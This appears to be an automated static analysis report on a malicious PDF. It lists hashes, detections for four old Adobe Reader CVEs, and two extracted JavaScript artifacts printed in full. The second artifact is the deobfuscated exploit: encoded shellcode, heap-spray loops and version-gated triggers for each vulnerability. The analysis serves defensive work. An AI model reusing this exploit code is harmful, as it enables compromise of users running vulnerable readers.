Malicious PDF — malware analysis report

Static analysis result for SHA-256 7f16033daad3593c…

MALICIOUS

PDF

26.1 KB Created: 2011-72-51 03:25:00 First seen: 2013-07-25
MD5: 66b66d8d72971c2c2809d87d010e731e SHA-1: f53d55f48a0c9d0c7929545e6fb6d79ce5991c69 SHA-256: 7f16033daad3593c0ffbb4aae201d5f454f0e261fa88781593405c134b64814c
548 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript appears to be a stager designed to download and execute a secondary payload. The use of multiple CVEs suggests a sophisticated exploit kit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      WeqOb=eval(GycuHevihkakury.replace('KyedyTyxedud','')+'val');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x648F 803 bytes
SHA-256: 47c24d373f120c9eeeac0477c99d04e628968447409721a6dec87edded42e9fa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Fcxoj='';
var KyedyTyxedude=this.producer.substr(0,4);
for(var GycuHevihkakury in this) {
	if (GycuHevihkakury=='KyedyTyxedude')
		WeqOb=eval(GycuHevihkakury.replace('KyedyTyxedud','')+'val');
}
JocodErhe = WeqOb('new Date(2007,2,51,2,12,5)');
CuvZj = 'thi'+JocodErhe.getHours()+'ducer';
DuxonXgibum=WeqOb(CuvZj.replace(2,'s.pro'));
DuxonXgibum = DuxonXgibum.replace(/t/g,'2');
KopObudy = DuxonXgibum.substr(4).split('s');
var TrIbehdymasih = '';
g = JocodErhe.getHours()*2;
var XorEx = 'fro'+JocodErhe.getHours()+'arCode';
XorEx=XorEx.replace(2,'mCh');
Lalop=String[XorEx];
for (GycuHevihkakury = 0; GycuHevihkakury < KopObudy.length; GycuHevihkakury++) {
	GxohyqahuwuXydy = WeqOb(KopObudy[GycuHevihkakury]);
	TrIbehdymasih += Lalop(GxohyqahuwuXydy);
}
WeqOb(TrIbehdymasih);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Producer s-arithmetic JavaScript at offset 0x23 3722 bytes
SHA-256: f64cf6f0adb14a55dda11ed5a7e19201034fcb17ac97a76cc45183b64ba23ba5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u53B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%u5234%uE2AA%uC3FA%uE5E8%uFFFF%uBBFF%u535E%u5252%uD30C%u0EBE%u5253%uDB52%uDFB5%u421D%u3DDF%u6306%u0589%u0103%u0101%u0101%u0101%u0107%u3A01%u5356%u5252%u0407%u3A01%u3C3D%u5252%u273A%u3E20%u063F%uDC3A%u5C1C%uBABE%u521A%u5252%uBA02%u522E%u5252%u82AD%u96D1%u3A5A%uBD1D%u571D%uBA02%u523E%u5252%u82AD%u92D7%u4527%u0638%uA10B%u3AF8%uAC20%u44E1%u4FBA%u5252%u0252%u03BA%u5252%uAD52%u0182%uAC38%uDB3A%u533D%uBAEF%u525A%u5252%uBA02%u526E%u5252%u82AD%u6332%u3692%u02D9%uD962%u5E00%u00D9%uD946%u7A20%u4AEB%u5252%u6352%u63AD%uFE92%u336E%u502E%u727E%u9D93%u535F%uB095%uD3A2%u09AD%u18EE%uD938%u4210%u40D9%u8B27%u16DB%u4E76%u9133%uD932%u763E%uD976%u6E17%u06D9%u2A57%uB853%u18D9%uD94A%u7208%uB953%u66B1%uD91B%uD966%uBC53%uAD63%u9263%uFEAE%u92D6%u5526%u9D93%u535F%uB995%u69A6%u762E%u277A%uD9B3%u7608%uB953%uD934%u195E%u08D9%u534E%uD9B9%uD956%uBA53%u16DB%u4E76%u9033%u525A%uBDBA%uADAC%u3AAD%u2626%u6822%u7D7D%u3731%u273A%u3B35%u3C3C%u317C%u7C28%u3131%u3D7D%u2627%u227C%u223A%u336D%u036F%u3903%u1014%u6235%u1310%u0725%u1617%u1713%u171A%u3139%u1018%u6F13%u746F%u6F22%u5265';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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